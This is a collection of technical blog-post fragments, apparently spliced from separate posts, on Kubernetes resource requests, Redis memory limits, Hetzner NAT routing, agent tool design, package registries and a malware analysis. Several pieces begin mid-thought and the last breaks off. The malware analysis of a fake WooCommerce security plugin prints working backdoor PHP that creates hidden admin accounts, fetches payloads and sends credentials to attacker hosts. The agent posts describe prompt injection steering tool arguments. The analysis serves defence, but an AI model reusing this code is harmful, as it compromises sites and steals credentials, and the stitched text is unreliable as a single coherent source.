That was the risk I found while reviewing one cluster: fifteen pods declared neither requests nor limits, despite consuming roughly 1.4 GB of memory between them.

The scheduler does not look at usage

This is the part that surprises people, and it surprised me for longer than I would like to admit. When Kubernetes decides where a pod goes, it does not measure how much memory or CPU that pod actually consumes. It reads spec.containers[].resources.requests and treats that number as the truth.

For scheduling feasibility, a container with no effective request reserves no capacity for that resource. Check the admitted Pod specification: admission policies can supply defaults, and a limit can become the request when no request is specified. Actual usage still matters to node health, even when it is absent from scheduling accounting.

Node scoring combines several configured plugins and constraints. Resource allocation is one input, so a node with spare capacity on paper can be attractive even when workloads use more than their requests suggest. It does not necessarily win every scheduling decision.

The practical risk is overcommitment: replacement or newly created pods can fit according to requests while leaving too little real memory headroom. Adding capacity does not correct missing requests on existing workloads.

What it costs

The count is usually higher than expected. On one cluster, fifteen pods had no requests declared at all. Their actual combined usage was roughly 1.4 GB of memory. That was 1.4 GB the scheduler did not know about, distributed across nodes according to a model that said it did not exist.

None of it had caused an outage, which is what makes it easy to leave alone. The cluster looks balanced in every dashboard that reports requests, and is quietly not balanced at all.

The second problem: QoS class

Requests and limits also determine Pod quality of service. For memory-pressure eviction, kubelet considers whether usage exceeds requests, Pod priority, and usage relative to requests. QoS is a useful guide to likely behaviour, not a strict eviction queue.

• Guaranteed: every container sets CPU and memory requests equal to its limits for both resources.
• Burstable: the Pod has a CPU or memory request or limit, but does not meet the Guaranteed criteria.
• BestEffort: no container sets CPU or memory requests or limits.

Every one of those fifteen pods was BestEffort. With no memory request, any memory use puts a pod above its request, making it vulnerable to eviction under memory pressure. Missing requests hurt both placement accounting and resilience.

Sizing requests without guessing

The advice to “just set requests” is easy to give and annoying to act on, because the obvious question is what number to use. Two rules got me most of the way.

Size requests from observed usage, not from fear. Look at what the workload actually consumes in steady state and set the request near that, with a little headroom. Requests are a reservation. Every megabyte you request is a megabyte no other pod can be scheduled against, whether or not you ever touch it. Inflating requests to feel safe is how you end up buying a node you did not need.

kubectl top pods -A --sort-by=memory

# and the inverse: everything that declares nothing
kubectl get pods -A -o json | jq -r '
  .items[] | select(
    [.spec.containers[].resources.requests // {}] | map(length) | add == 0
  ) | "\(.metadata.namespace)/\(.metadata.name)"'

Size limits separately from requests. With explicit requests, raising a limit does not reserve additional scheduling capacity. It does allow more runtime consumption: generous memory limits across many pods can still exhaust a node, while CPU limits can throttle work. Choose limits from workload measurements and the headroom available, rather than a universal multiplier.

There is one important exception. If a process has its own internal memory ceiling, setting the container limit equal to that ceiling will get it killed before its own eviction logic ever runs. That is a specific enough trap that it deserves its own post, and I have written one.

The rule I settled on

Every deployment declares requests. Not because every workload is important, but because a workload that declares nothing is invisible to the only model the scheduler has. An unimportant pod that lies about costing zero does more damage to placement decisions than an important one that tells the truth.

Include init containers in the review. Their requests contribute to the Pod’s effective scheduling requirement even though ordinary init containers run sequentially. The command above checks application containers only; inspect spec.initContainers separately.

If you want one thing to check after reading this, run the second command above. The output is usually shorter than you expect and more interesting than you want.

References: Kubernetes resource management, scheduling, and node-pressure eviction.

The two numbers being equal is the entire bug.

Why matching them is wrong

Setting maxmemory equal to the container limit looks like the careful thing to do. You are telling Redis exactly how much room it has, and telling the kernel the same number. Nothing is wasted.

The problem is that maxmemory is an eviction threshold, not a ceiling on the Redis process’s resident memory. Redis accounts for memory allocations, with exclusions such as replication and AOF buffers. Resident memory can be higher because of fragmentation and other overhead.

Replication and AOF buffers, allocator fragmentation, and copy-on-write memory during persistence can all affect the headroom needed. The amount depends on the workload and configuration; dataset size alone is not enough to choose a container limit.

So the sequence goes like this. Redis fills toward maxmemory. Its own bookkeeping says it is approaching the ceiling and eviction should begin shortly. But the resident set size the kernel sees crossed the cgroup limit some time ago, because of everything in the paragraph above. The kernel does not wait politely for Redis to finish its own accounting. The OOM killer fires, the container dies, and it restarts empty.

Then it fills up again. Twelve times, before anyone looked at it properly.

Eviction never gets a turn

The detail worth sitting with is that the eviction policy is not broken. It is never reached. Whatever you configured, allkeys-lru or volatile-lru or anything else, is a strategy for staying under maxmemory, and the process is being killed before that strategy has any work to do.

This is why the symptom is confusing. You configured eviction. You can see the policy is set. The instance still dies as if it had noeviction. The logs show a clean start and then nothing useful, because being OOMKilled is not something a process gets to write a log line about.

kubectl get pod <pod> -o jsonpath='{.status.containerStatuses[0].lastState.terminated.reason}'
# OOMKilled

kubectl get pod <pod> -o jsonpath='{.status.containerStatuses[0].restartCount}'
# 12

If you see OOMKilled with a rising restart count, compare the container limit, maxmemory, and observed memory usage. Equal limits are one likely cause, but bursts, persistence, fragmentation, and other memory pressure also need investigation.

The fix

Give maxmemory real headroom under the container limit. I use half, which is more conservative than strictly necessary and costs nothing I care about on a cache.

commonConfiguration: |-
  maxmemory 128mb
  maxmemory-policy allkeys-lru
  save ""
  appendonly no

master:
  resources:
    requests:
      memory: 128Mi
    limits:
      memory: 256Mi

The 50% setting is my choice for this cache, not a universal sizing rule. Measure memory under representative load and during persistence or replication activity. This example disables persistence and is suitable only where cached data can be rebuilt.

Watch both Redis and container metrics. used_memory reports Redis allocation accounting; used_memory_rss reports resident process memory. Container memory accounting determines enforcement of the cgroup limit and can include more than that process RSS.

redis-cli INFO memory | grep -E 'used_memory_human|used_memory_rss_human|mem_fragmentation_ratio'

A fragmentation ratio meaningfully above 1 tells you how much of a gap you are dealing with. That is the gap your headroom has to cover.

It is not really about Redis

The general shape of this applies to anything that manages its own memory ceiling inside a cgroup limit. A JVM with -Xmx set to the container limit will be killed before it can garbage collect its way out of trouble, because heap is not the only thing in a JVM process. The same reasoning covers PHP-FPM worker counts multiplied by memory_limit, and any runtime with a configurable arena.

The rule is the same in each case. The number the application uses to decide when to start managing its own memory has to be below the number the kernel uses to decide when to kill it. If they are equal, the application’s own protection never runs.

Worth checking your chart defaults, incidentally. A packaged chart will happily let you set both values to the same number, because it looks tidy.

See Redis’s eviction documentation for how maxmemory and excluded buffers interact.

That arrangement is common enough. What is less commonly written down is the specific way it fails when you build it on a cloud private network, and why the fix is not where you would look for it.

The shape

In my setup, application ingress arrives at the node with the public IPv4 address, then routes to workloads across the cluster. Direct access to workers is controlled separately through their network configuration and firewall rules.

Outbound is where the work is. Workers still need to reach the internet: pulling images, calling third party APIs, fetching packages during a build. With no public address of their own, that traffic has to leave through the one node that has one. So the master becomes a NAT gateway for the rest of the cluster.

Check public IPv4 and IPv6 separately. A worker without a public IPv4 address may still have public IPv6 connectivity. Removing IPv4 alone does not make the machine unreachable from the internet; routing, firewall rules, and exposed services determine that.

The part that does not work

The obvious configuration is to give each worker a default route pointing at the master’s private address. It reads correctly. It is what you would write on a whiteboard.

# looks right, does not work
ip route add default via 10.0.0.2 dev eth0 onlink

It fails silently. Packets go nowhere and you get no useful error, because nothing is technically wrong with the configuration. The problem is an assumption underneath it.

A cloud private network that presents itself as 10.0.0.0/24 is not necessarily a flat layer 2 segment. On the provider I use, each node’s interface holds a /32. Every node has exactly one address and no notion of a neighbouring range. All traffic between hosts, even hosts that appear to sit in the same subnet, is routed through the provider’s gateway.

The consequence is that nodes are not directly reachable at the link layer. Their ARP tables hold the gateway’s MAC address and nothing else. onlink tells the kernel to send the frame directly to the next hop without needing a route to it, which is precisely the thing that cannot happen here. The frame cannot be delivered to the master, because there is no path to the master that does not go through the gateway first.

You can confirm this quickly on any node:

ip route show
# 10.0.0.0/24 via 10.0.0.1 dev eth0

ip neigh show dev eth0
# only the gateway appears, never the other nodes

If your route table says the whole subnet is reachable via a gateway rather than directly on the device, you are in this situation, and any configuration that assumes host to host adjacency will fail.

Where the fix actually lives

The fix spans both the workers and the provider network. Each worker needs a default route to the private network gateway; the provider network then needs a route forwarding internet-bound traffic to the NAT host.

On Hetzner, add a network route for 0.0.0.0/0 with the NAT host’s private address as the destination gateway. On each worker, configure a default route via the provider’s private gateway, such as 10.0.0.1. The two routes serve different purposes, and both are needed. Make the worker route persistent using the host’s network configuration.

The master then needs to be willing to forward and to masquerade, which is ordinary Linux:

net.ipv4.ip_forward=1

iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE

Two things to get right here. Make the sysctl persistent, or the cluster loses egress on the next reboot of the master. And make sure your masquerade rule survives whatever else is writing to iptables on that host, which on a Kubernetes node is a great deal.

What this costs you

Worth being clear that this is a real tradeoff, not a free saving.

• The master becomes a single point of failure for all outbound traffic. If it goes down, workers keep running but stop being able to pull images or reach any external service.
• All egress shares one source address, so any rate limiting or reputation applied by an external service now applies to your whole cluster at once.
• The master carries traffic it would not otherwise carry, which matters if it is also your smallest node.

For a cluster where a brief loss of outbound connectivity is an inconvenience rather than an outage, that is a reasonable trade. For anything where it is not, you want a second gateway and a failover story, and at that point the cost saving has mostly evaporated.

The general lesson I took from it is narrower than the setup: when a network behaves in a way your configuration says is impossible, check whether the subnet you were handed is actually a subnet.

For the provider-specific routing model and examples, see Hetzner’s network architecture documentation.

The broad tool is quick to expose, but the difficult work remains: restricting what its credentials and implementation actually permit.

My position is that agent safety is mostly an API design problem, and that the prompt is the weakest available place to put a constraint. Not useless, but weakest. If a limit matters, it belongs in the shape of the tool, where the model’s cooperation is not required.

Allow-list, do not deny-list

A generic tool with instructions is a deny-list, and it inherits every problem deny-lists have ever had. You are enumerating the bad cases, and the set of bad cases is larger than your imagination.

Consider a tool that runs arbitrary SQL. Database permissions must enforce read-only access; a prompt is no substitute. Even with reads correctly enforced, unrestricted queries can expose other users’ data or exhaust resources through expensive joins.

Now consider seven narrow tools instead: list posts, get one post, create a draft, update a draft, import an image from a URL, set a draft’s featured image, and publish. This makes the intended operations explicit. Each still needs authorization, argument validation, resource limits, and tests; an image import, for example, must constrain the URLs it can fetch.

The trade is real. The narrow surface cannot do things you did not anticipate, which is frustrating the first time you want one of them. That inflexibility is the feature. A surface that can do things you did not anticipate is the definition of the problem.

Four rules that survive contact

No delete in this content workflow. Drafting and review do not need deletion, so I leave that operation outside the agent’s tools. Other workflows may need deletion, with recovery and authorization designed for that use case.

Mutation only on unpublished state. An agent that can edit drafts can be wrong in private. An agent that can edit live content is wrong in public, at whatever scale your audience happens to be. Reject the operation at the tool boundary based on the record’s state, not on whether the model believed it was editing a draft.

Make publication explicit. A separate publish operation requiring confirm=true avoids publishing as a side effect of editing. That flag is an API safeguard, not proof of human approval: a model can supply it. If human review is required, an approval mechanism outside the model must enforce it.

No generic escape hatch. Frameworks in this space often ship something like an execute-any-registered-capability tool, because it is genuinely useful during development. Shipping it defeats every other rule on this list in a single line, since the narrow tools become decoration around a general one. If a capability framework offers a default server exposing everything, turn it off and register only what you meant to expose.

Separate the principal, not just the tools

Narrow tools running as an administrator are narrow by convention only. If the underlying credential can do anything, then any bug in the tool layer, any path traversal in an argument, any unescaped identifier, restores the full surface.

The agent gets a dedicated role whose permissions match the allowed workflow. In this seven-tool example, that includes publishing through the explicit publish operation, while draft updates reject published records. Plugin installation, user management, and unrelated REST routes remain unavailable. A draft-only deployment should omit the publish tool and remove the credential’s publication permission as well.

This is also what makes the audit trail worth having. Actions arrive attributed to the agent’s own principal, so “what did the agent change last Tuesday” is a query rather than an investigation.

The test I would run before shipping any of it

Assume the model is fully compromised. Every instruction in its context is adversarial, and it will take the worst action available to it. Now enumerate what it can do.

If the answer includes publication, account for the possibility that the agent will publish. If the intended boundary is only creating and editing drafts for human review, enforce that narrower boundary in both the tools and credentials. Judge the design by the worst action actually available.

None of this is an argument for keeping agents away from real systems. I want them wired into real systems, because that is where they are useful. It is an argument that the interesting work is in the tool surface rather than the prompt, and that the tool surface is where I would spend the review time.

That is the property I care about most when someone shows me an agent wired into real data, and it is usually the property nobody has thought about. The question I ask is simple and it is uncomfortable more often than not: who is this agent acting for?

The shape almost everyone builds first

The first version of an agent with data access nearly always looks like this. There is one service account. It can read everything, because during development reading everything is convenient and any narrower permission is a thing you have to stop and configure. Tenant scoping arrives as context: the system prompt says which customer the conversation is about, and the tools accept a customer identifier as an argument.

It works. It demos beautifully. And the authorisation boundary now lives in a string that a language model is being politely asked to respect.

I want to be precise about why that is a problem, because “prompts are unreliable” is a lazy way to put it and invites the equally lazy answer of writing a firmer prompt.

The model cannot refuse what the tool permits

If a tool signature accepts a tenant identifier, then choosing that identifier is part of the model’s job. You have made it a decision. And the model makes that decision from whatever is in its context, which includes the conversation, the retrieved documents, and anything a user typed.

The failure does not require an attacker. Three ordinary things cause it:

• Drift. A long conversation mentions several accounts. The correct identifier for turn twelve is not obviously the one from turn two, and nothing in the loop is tracking which was authoritative.
• Helpfulness. A user asks a comparative question. Answering it well requires data from a second tenant. The model has a tool that can fetch it and no reason to believe it should not.
• Injected content. Any text the agent reads and did not author is a potential instruction. A support ticket, a document, a product description. If reading is enough to influence which identifier gets passed, then whoever writes that content shares control of the boundary.

All three have the same root. The identity of the principal is being derived from content, and content is not a trustworthy source of identity.

Move the decision out of the model

The fix is not a better instruction. It is removing the parameter.

The tool should resolve the principal from the session, server side, and the model should have no way to express a different one. Compare these two signatures:

# the model chooses. the boundary is advisory.
get_invoices(tenant_id: str, status: str) -> list

# the model cannot choose. the boundary is structural.
get_invoices(status: str) -> list
    # tenant resolved from the authenticated session, not from arguments

The second signature makes the cross-tenant request unrepresentable. There is no argument to get wrong, no string to be talked into changing, and no prompt to harden. An injected instruction telling the agent to fetch another customer’s invoices produces a tool call that is identical to the correct one, because the tenant was never the model’s to supply.

This is worth being stubborn about, because there is always a use case that seems to need the parameter. An internal admin agent that legitimately spans tenants, for instance. The answer is a separate tool surface with a separate principal, not one surface with a flag, because a flag is exactly the thing that gets set incorrectly.

Three questions worth answering before shipping

What can this principal reach if the model is fully compromised? Assume every instruction in the context window is adversarial and the model does exactly the worst permitted thing. The blast radius is the answer, and it should be the tenant, not the estate.

Can you prove after the fact which principal did what? If every tool call reaches the database as the same service account, your audit log records that the agent did it, which is not useful during an incident. The principal has to be visible at the point of access, not just in the application layer above it.

Have you actually tried? Write the test. Put a second tenant’s identifier in a document the agent will read, ask a question that would be better answered with cross-tenant data, and see what the tool layer receives. This is a cheap test and it is skipped almost universally, because the happy path demos so well that nobody goes looking.

Why this keeps happening

Because it is a genuinely new place for an old bug. We already know not to trust client-supplied identifiers in a web request. Nobody sensible reads a user ID from a query string and returns that user’s data. But an agent’s tool arguments feel like internal function calls rather than untrusted input, and they are treated accordingly.

They are not internal. They are values produced by a process that consumed untrusted text. The moment you look at them that way, the design follows on its own, and the prompt goes back to being what it should have been: a description of how to be useful, carrying no security weight at all.

The axis that predicts outcomes is not difficulty. It is whether you can cheaply tell that the result is correct.

Two piles

Put a task in the first pile if being wrong is loud. A parser with a table of inputs and expected outputs. A pure transformation between two data shapes. A refactor the type checker will reject if it breaks. A regex with a fixture file. Query construction you can run against a snapshot and diff. In all of these, wrongness announces itself in seconds and the cost of a bad answer is the time it took to run the check.

Put it in the second pile if being wrong is quiet. Concurrency, where the bug appears under load on a Tuesday. Anything security relevant, because you cannot write a test asserting the absence of a vulnerability. A data migration, which is destructive and runs once. Performance work, where you need measurements to know if you helped. Error handling paths that only execute during an incident. Cache invalidation, where the failure is stale data that looks like data.

Difficulty cuts across both piles. A tricky bit-manipulation routine is hard and belongs firmly in the first pile, because you can test it exhaustively. A three-line change to a permission check is trivial and belongs in the second, because nothing will tell you it is wrong until it matters.

The confidence is flat, which is the trap

A model produces code with the same fluency in both piles. There is no tremor in the output when it moves from a well-trodden transformation to a subtle memory-ordering question. The prose in the explanation is equally assured. Variable names are equally sensible. It compiles either way.

Human collaborators leak signal here in a way that models do not. A colleague who is unsure tends to say so, or hedges, or writes a comment asking whether this is right. That signal is a real part of how review works, and its absence is easy to underestimate. Generated code arrives with no uncertainty attached, so the reader supplies the confidence themselves, and the reader is usually in a hurry.

What this changes in practice

Three things, and none of them are about writing better prompts.

Spend the assistance where the loop is tight. If a task has a check that runs in under a minute, delegate generously and iterate against the check rather than reading closely. Reading generated code line by line is slow and, for this pile, largely redundant, because the check is a better reviewer than you are.

In the second pile, use it for a draft you intend to rewrite. Not for the answer. A generated first attempt at a concurrency fix is useful the way a colleague’s whiteboard sketch is useful: it surfaces the shape and the cases you had not considered. Shipping it because it looks reasonable is the failure. The verification cost has not gone anywhere just because the writing cost dropped.

Move work from the second pile to the first. This is the part I find genuinely interesting. Checkability is not a fixed property of a task. It is a property of your codebase.

A permission check with an exhaustive table-driven test moves piles. A migration with a dry-run mode and a reversible path moves piles. Concurrency logic pulled behind an interface you can deterministically exercise moves piles. A performance-sensitive path with a benchmark you actually run in CI moves piles.

Every one of those was already good engineering, and every one of them was easy to skip. What has changed is the return: investment in checkability now directly increases how much work you can safely hand off. That reframes test and type discipline from hygiene into leverage, which is a better argument than the one we had before.

The failure I keep seeing

Somebody delegates a task from the second pile, the output looks right, the tests that exist pass, and it goes out. The tests that exist pass because they were written for the code that used to be there. Nothing has verified the new behaviour, and the code carries no signal that it needs verifying more than usual.

This is not an argument for using these tools less. I use them constantly and they have changed how much I get done, particularly in that first pile, which turns out to be a larger share of real work than the framing about boilerplate suggests. It is an argument for being deliberate about which pile you are in, because the tool will not tell you and the output looks identical from the outside.

The question worth asking before delegating anything is not whether the model can do it. It is how you will know if it did.

This article is a brief overview of IDN homograph attacks with a real-world case.

A client recently forwarded a suspicious “security update” email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and urges recipients to download a fake “security update” which is actually a trap designed to compromise web stores running on WooCommerce.

How it works

The attackers registered the domain “woocommerċe.com” (Notice anything unusual?). At first, this domain appears identical to the legitimate “woocommerce.com” website. However, there’s a critical difference: the second “c” in the malicious domain isn’t the standard Latin “c” character but rather “ċ” – a special character with a dot above it that looks nearly identical in most fonts and email clients.

When users click links in these phishing emails, they’re directed to pages like:

https://woocommerċe.com/products/woocommerce-authbypass-update/

This page mimics WooCommerce’s official website and prompts users to download a “critical security patch” which is actually malicious software masked as a WooCommerce plugin.

For a comparison, the legitimate WooCommerce site doesn’t have this page at all:

https://woocommerce.com/products/woocommerce-authbypass-update/ (returns a 404 error)

What is a IDN Homograph attack

This technique is known as a IDN Homograph attack (also called an Internationalized Domain Name Homograph attack or Script Spoofing). It exploits the visual similarity between characters in different writing systems or alphabets to create convincing fake domains.

In Unicode, there are many characters from different alphabets that look identical or nearly identical to Latin alphabet characters. For instance:

• The Cyrillic “о” looks like the Latin “o”
• The Greek “ρ” resembles the Latin “p”
• And as I’ve shown, the Latin “c” with a dot (ċ) looks just like a regular “c”

Browsers display these special characters in a way that makes the fraudulent domains nearly indistinguishable from legitimate ones. The attack is effective because:

1. Most users don’t inspect URLs character by character
2. Email clients and browsers don’t highlight these subtle differences
3. The domains can obtain HTTPS certificates, showing the “secure” padlock icon
4. The websites can be exact visual copies of legitimate sites

Why IDN Homograph attacks are dangerous

This phishing campaign is especially concerning for several reasons:

1. It specifically targets WooCommerce users, who typically run e-commerce businesses with valuable customer data and payment information.
2. By claiming to address a critical security vulnerability, the attackers create a sense of urgency that might override normal caution.
3. The “patch” is actually malicious software that could potentially:
   • Steal customer data and payment information
   • Capture admin credentials
   • Install backdoors for future access
   • Compromise the entire website or server
4. The domain impersonation makes standard security advice like “check the URLs” less effective.

Under the Hood: What this malicious plugin does

I’ve obtained the actual malicious plugin code distributed through the link:

https://woocommerċe.com/download/authentication-bypass-fix?download

Disclaimer: Do not install this on your websites.

Let’s analyze this malware to understand exactly how it works and what’s used to compromise websites.

Plugin Header Fakery

The attackers carefully crafted the plugin header to appear legitimate:

// Plugin Name: Woo Vulnerability Fix
// Description: Essential security update for WooCommerce vulnerabilities.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/

This professional presentation helps bypass the initial suspicion a site administrator might have when installing a plugin.

Backdoor Creation

The core functionality of this malware is to create a persistent backdoor through multiple mechanisms:

1. Hidden Administrator Account:

The plugin creates a new administrator user with a programmatically generated username and random password. The code snippet responsible for this:

function sortProfile899()
{
   $set="WP_User";
   $k = databaseManager856();  // Generates username based on site URL
   $m = queueAverage411();     // Generates random password
   $id = null;
   if (!username_exists($k)) {
       $o = wp_create_user($k, $m);
       if (!is_wp_error($o)) {
           $p = new $set($o);
           $ddf = "p";
           ${$ddf}->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));  // "administrator" encoded
           parseHeap180($k, $m);
           $id = $p->ID;
       }
   } else {
       // If user exists, ensure they have admin privileges
       $r = get_user_by('login', $k);
       if ( $r && !in_array( base64_decode('YWRtaW5pc3RyYXRvcg'), (array) $r->roles, true ) ) {
           $r->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));
           $id = $r->ID;
       }
   }
   // Additional code to handle Wordfence admin
}

2. Secondary Backdoors:

The function computeSaved755() downloads additional malicious code from an external server and places it in the uploads directory with obfuscated filenames:

function computeSaved755() {
   $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1oZWxwLmNvbS9hY3RpdmF0ZQ";
   $contents = wp_remote_get(base64_decode($scanningToken), ['timeout' => 30]);
   if ( !is_array( $contenchannelsts ) && is_wp_error( $contents ) ) { return; }
   $detections = json_decode(base64_decode($contents['body']), true);
   for ($i=1;$i<4;$i++) {
       $iteration = 'wp-cached-'.databaseManager856().strrev('php.'.$i);
       $index = 'Scan'.$i;
       $cnts = base64_decode($detections[$index]);
       processDateTime421($iteration, $cnts);
   }
}

This creates files named with patterns like wp-cached-[hash].i.php (with reversed filename) to evade detection.

Data Exfiltration

The plugin steals sensitive site information and sends it to an attacker-controlled server:

function parseHeap180($I, $J)
{
    $K = get_site_url(null, '', 'https');
    $L = collectComplete942();  // Gets IP address
    $N = sprintf("%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n---", 
           base64_decode('c2l0ZXVybDog'), $K, 
           base64_decode('dXNlcjog'), $I, 
           base64_decode('cGFzczog'), $J, 
           base64_decode('aXAgYWRkcmVzczog'), $L, 
           base64_decode('YCBcbi0tLS0='));

    // Builds data package with site URL, admin username, password, and IP
    $P = [base64_decode('dXNlcg') => $I, 'url' => $K, 
          base64_decode('cGFzcw') => $J, 'ip_address' => $L, 
          'iterations' => $iterations, 'siteurl' => base64_encode($N)];

    // Exfiltration endpoint (decoded: "https://wptechsolutions.org/wpapi")
    $O = "aHR0cHM6Ly93cHRlY2hzb2x1dGlvbnMub3JnL3dwYXBp";
    $Q = base64_decode($O) . '?' . http_build_query($P);
    $response = wp_remote_get($Q, ['timeout' => 30]);
}

This function collects and transmits:

• The website URL
• The backdoor admin username and password
• The server’s IP address
• Paths to the secondary backdoor files

Concealment Techniques

The attackers weren’t amateurs – their stealth game is strong. I’ve identified the following:

1. Hidden User

The backdoor admin user is hidden from the WordPress users list by hooking this function into the pre_user_query WordPress filter:

function formatReport933($z)
{
   $A = databaseManager856();
   global $wpdb;
   $z->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $A);
}

2. Manipulated User Counts

The total user and administrator counts are reduced by one to hide the backdoor admin user by hooking this function into the views_users WordPress filter:

function compressDate796($vjs)
{
   $osrs = count_users();
   $nmr = $osrs['avail_roles']['administrator'] - 1;
   $anmr = $osrs['total_users'] - 1;
   // Updates the displayed counts
}

3. Self-Protection

The plugin prevents its own deactivation when the user hits “Deactivate” buttons:

function computeWorker455()
{
   wp_die('This plugin cannot be deactivated.');
}

And removes the delete link from the plugins page:

function dispatchMean595($smcnn, $plugin_file)
{
   $stoc = __FILE__;
   $stpc = call_user_func('plugin_basename', $stoc);
   if ($stpc === $plugin_file) {
       unset($smcnn['delete']);
   }
   return $smcnn;
};

4. Hidden Plugin

The plugin hides itself from the WordPress plugins list:

function databaseInstruction266()
{
    global $current_user;
    $username = $current_user->user_login;
    if ($username == databaseManager856()) {
        return;
    }
    if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) {
        return;
    }
    global $wp_list_table;
    $hidearr = array('woocommerce-update/woocommerce-update.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key, $hidearr)) {
            unset($wp_list_table->items[$key]);
        }
    }
}

5. Persistent Access

Uses WordPress cron to maintain persistent access. The function saveMatrix002 is called on every minute based on the securityStarted807 interval they registered in the plugin.

if (!wp_next_scheduled('saveMatrix022')) {
   wp_schedule_event(time(), 'securityStarted807', 'saveMatrix022');
}

Obfuscation Techniques

The malicious code uses several obfuscation techniques:

1. Base64 Encoding

Sensitive strings are encoded to avoid detection:

• ‘administrator’ → ‘YWRtaW5pc3RyYXRvcg’
• ‘user’ → ‘dXNlcg’
• ‘pass’ → ‘cGFzcw’

2. Misleading Function Names

Functions like roleChecker755, securityOptions253, and databaseManager856 suggest security-related operations while performing malicious actions.

3. Variable Obfuscation

Single-letter variable names and numeric suffixes make the code difficult to analyze:

$set="WP_User";
$k = databaseManager856();
$m = queueAverage411();
$ddf = "p";
${$ddf}->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));

4. Dynamic Variable References

Uses PHP’s variable variables feature to obfuscate code:

$ddf = "p";
${$ddf}->set_role(...);  // References $p indirectly

The bigger picture: Supply Chain Attacks

This attack attempts to exploit the software supply chain. The mechanism by which legitimate software updates are distributed. By impersonating a trusted vendor (WooCommerce) and delivering fake updates, attackers target one of the most sensitive routes in software security.

I will write more about Supply Chain attacks in future, but in meanwhile i’d suggest reading this interesting article by CloudFlare.

Conclusion

At the end of the day, IDN Homograph attacks are just another reminder that the cyber world requires a lot of caution. These attacks are fed with our habit of quickly clicking links without a second thought.

When someone replaces letters in a perfectly legitimate domain like “woocommerce.com” with similar-looking characters from other alphabets, your browser displays what looks identical to the real site but you’re actually on a completely different domain controlled by attackers.

Remember: Avoid clicking on links directly… Take a moment to hover over links, type addresses directly, and question unexpected security alerts or requests. Your safety isn’t about paranoia, it’s about building simple habits that become second nature…

The advice that follows an incident like that is usually to audit your dependencies. I want to be blunt about why that advice is close to useless in this specific shape of attack, and what actually changes the outcome.

Auditing does not operate at the speed of the problem

Auditing a dependency is a point-in-time statement about a version you have looked at. It says nothing about the version that will be published tonight.

The attack does not rely on you having failed to review the package. It relies on the package being fine when you reviewed it and not fine afterwards, combined with a pipeline that fetches whatever is newest without asking. You cannot review your way out of a race you are not present for.

So the useful question is not “is this dependency trustworthy”. It is “what stands between a new upstream release and my running system”, and for a great many setups the honest answer is nothing at all.

What a private registry actually changes

Running your own package registry, with upstream proxied through it, changes one thing: the moment of entry becomes yours to control. Nothing enters your estate because it was published. It enters because it was promoted.

That gives you three things worth having.

• A gate. A new upstream version exists in the proxy but is not available to builds until something promotes it. That something can be a person, a delay, a scanner, or a policy. Any of them is better than none.
• Immutability of what you already have. A version you have consumed is stored by you. An upstream package that is deleted, retagged, or republished with different content does not change what your builds resolve.
• A single place to answer “who is using this”. When the next advisory lands, the question is which of your projects pulled the affected version. A registry you own can answer that. A public one cannot.

What it does not change, which matters more

A private registry does not detect a malicious release. It has no opinion about the contents of a package. If you promote a compromised version, you have distributed a compromised version efficiently to everything you own.

It also does not remove your dependence on upstream maintainers, reduce the number of transitive packages you rely on, or tell you which of your dependencies is one unpaid volunteer away from an incident.

And it adds a component you now own. If it is down, your builds fail. If its storage is lost and you have not kept the artefacts, you have replaced a public single point of failure with a private one that has a smaller operations team, which is you.

So the registry is not a control by itself. It is the place where a control can exist. The control is the promotion policy, and a registry with an auto-promote-everything policy has bought you a mirror and an availability risk, nothing more.

A policy that is actually sustainable

The failure mode of a strict policy is that someone disables it under deadline pressure. So the version I would defend is deliberately modest.

Pin exact versions and commit the lock file. Free, and it is the single largest improvement available. A build that resolves to exactly what it resolved to yesterday is immune to tonight’s release regardless of anything else you do.

Impose a quarantine window rather than a review. Nobody sustains manual review of every dependency bump. A rule that a version must have existed publicly for some number of days before promotion needs no human attention and catches the case that matters, because a malicious release is usually discovered fast and yanked. Time is doing the work that review would not have done.

Turn off automatic updates in production for anything that executes code. This is the one that specifically addresses the incident I started with. Convenience was the vulnerability.

Separate promotion from consumption. Developers pull from the registry. Something else, with different credentials, decides what the registry offers. If the same identity can do both, the boundary is decorative.

Where the effort is worth it

I built a self-hosted Composer registry, so my bias is obvious. It is worth being clear that the case for it is not primarily security.

The case is usually private packages, build reliability when upstream has a bad day, and knowing what you depend on. The supply chain benefit is real but conditional, and it arrives only if you use the gate the registry gives you. For a single small project, pinning versions and disabling automatic updates gets you most of the protection for none of the operational cost, and I would start there rather than with infrastructure.

The thing I would not do is treat the registry as the answer and stop. That is how you end up with a well-run pipeline that distributes whatever it is given, which is a more efficient version of the original problem.

Docker is a platform that allows you to package and run applications in isolated environments called containers. By using Docker, you can run IMAPSync in a consistent and controlled environment, avoiding conflicts and dependencies that might arise from running the tool directly on your system. To migrate your emails using IMAPSync through Docker, you can use the following command:

docker run gilleslamiral/imapsync imapsync \
--host1 source.server.ip   --user1 info@yourmail.com --password1 'yourpass' \
--host2 target.server.ip   --user2 info@yourmail.com --password2 'yourpass' \
--automap "$@"

This command initiates the synchronization process, transferring emails from the source server to the target server efficiently and reliably.

1. Inspect the resolver path

cat /etc/resolv.conf
kubectl -n kube-system get configmap coredns -o yaml

K3s checks common resolver files and may select an alternative when a file contains unsuitable nameservers. CoreDNS commonly forwards external queries through its own /etc/resolv.conf. A host loopback resolver such as 127.0.0.53 is not reachable at that address from an ordinary pod.

2. Set an explicit resolver file

On every node that may run CoreDNS, prepare a resolver file containing DNS servers reachable from the pod network. To use /etc/resolv.conf, first confirm its nameserver addresses meet that requirement. Merge this setting into the existing /etc/rancher/k3s/config.yaml; do not append duplicate YAML keys:

resolv-conf: /etc/resolv.conf

Use another absolute path if the host file points to a local stub resolver. Keep the file and its nameservers consistent across eligible nodes.

3. Restart and verify

